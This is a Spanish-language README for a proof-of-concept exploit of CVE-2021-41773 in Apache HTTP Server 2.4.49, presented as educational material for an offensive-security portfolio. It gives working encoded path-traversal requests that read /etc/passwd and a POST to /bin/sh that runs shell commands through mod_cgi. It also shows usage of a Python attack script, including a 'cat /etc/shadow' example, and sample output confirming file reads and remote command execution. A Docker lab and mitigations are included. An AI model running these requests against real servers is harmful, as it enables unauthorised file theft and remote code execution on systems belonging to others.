
Prueba de concepto de CVE-2021-41773
Solo para uso en entornos controlados y propios. No usar contra sistemas sin autorización.
PoC desarrollada para demostrar y entender la vulnerabilidad CVE-2021-41773, presente en Apache HTTP Server 2.4.49.
El fallo reside en la función ap_normalize_path(), que no validaba correctamente los caracteres codificados en URL. Esto permitía a un atacante saltar fuera del DocumentRoot mediante una secuencia de caracteres codificados (%2e%2e%2f en lugar de ../), leyendo archivos arbitrarios del sistema.
Cuando el módulo mod_cgi estaba habilitado, la vulnerabilidad escalaba a RCE (Remote Code Execution), permitiendo ejecutar comandos directamente en el servidor con los permisos del proceso Apache.
El servidor debe cumplir todas estas condiciones para ser vulnerable:
| Condición | Detalle |
|---|---|
| Versión de Apache | Exactamente 2.4.49 |
| Directiva de acceso | Require all granted en la configuración |
| Módulo CGI | mod_cgi habilitado (solo para RCE) |
Apache 2.4.49 filtraba el clásico ../ pero no su versión codificada en URL. El atacante construye una ruta que el filtro no detecta, pero que el sistema operativo interpreta correctamente:
GET /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
%2e%2e%2f es la codificación URL de ../. Apache lo dejaba pasar, el OS lo resolvía, y el resultado era acceso a archivos fuera del directorio web.
Con mod_cgi activo, el path traversal se usa para apuntar a /bin/sh en lugar de un archivo. Apache lo trata como un script CGI y lo ejecuta. El comando viaja en el body del POST como un script shell mínimo:
POST /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fbin/sh
#!/bin/sh
echo 'Content-Type: text/plain'
echo
id 2>&1
El output del comando llega en la respuesta HTTP.
La forma más limpia de reproducir la vulnerabilidad es con Docker:
docker run -d -p 8080:80 --name apache-vuln ghcr.io/blasty/CVE-2021-41773
O con una imagen manual de Apache 2.4.49 con la configuración vulnerable:
<Directory />
Require all granted
</Directory>
Voy a dejar los archivos de configuracion que eh utilizado para la prueba.
¿Por que 'urllib3' y no 'requests'?
requests re-encodea automáticamente los caracteres del path antes de enviarlos.
Eso rompe el payload porque el servidor recibe %252e en lugar de %2e.
urllib3 permite enviar el path sin modificaciones.
¿Por qué .%2e/ y no %2e%2e/?
Apache filtra %2e%2e/ en el módulo mod_rewrite.
La variante .%2e/ es semánticamente equivalente pero pasa el filtro,
porque la normalización del path ocurre después de la validación.
mod_cgi debe estar habilitado para que el modo RCE funcione.
Sin él, solo es posible el path traversal.python PoC_2021-41773.py --target <URL> --mode <traversal|rce> [--cmd <comando>]
| Argumento | Requerido | Descripción |
|---|---|---|
--target | Sí | URL base del servidor (ej: http://localhost:8080) |
--mode | Sí | traversal para leer archivos, rce para ejecutar comandos |
--cmd | No | Comando a ejecutar en modo rce (default: id) |
python PoC_2021-41773.py --target http://localhost:8080 --mode traversal
python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd id
python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"
=======================================================
CVE-2021-41773 — Apache 2.4.49 Path Traversal + RCE
PoC con fines educativos — Solo en entornos propios
=======================================================
[+] Modo: Path traversal
[+] Objetivo: http://localhost:8080
[+] URL Construida: http://localhost:8080/cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
[+] Enviando request...
Servidor Vulnerable, Status code: 200
=== Contenido de /etc/passwd:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
[+] Modo: RCE via mod_cgi
[+] Objetivo: http://localhost:8080
[+] Comando: id
[+] Enviando request...
[+] RCE confirmados
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2.4.51 o superior.Require all denied como valor por defecto.mod_cgi si no es estrictamente necesario.⚠️ Este repositorio es únicamente con fines educativos.
El uso de este exploit contra sistemas sin autorización expresa es ilegal.
Probado exclusivamente en entornos locales controlados.
PoC desarrollada con fines educativos para portafolio de seguridad ofensiva.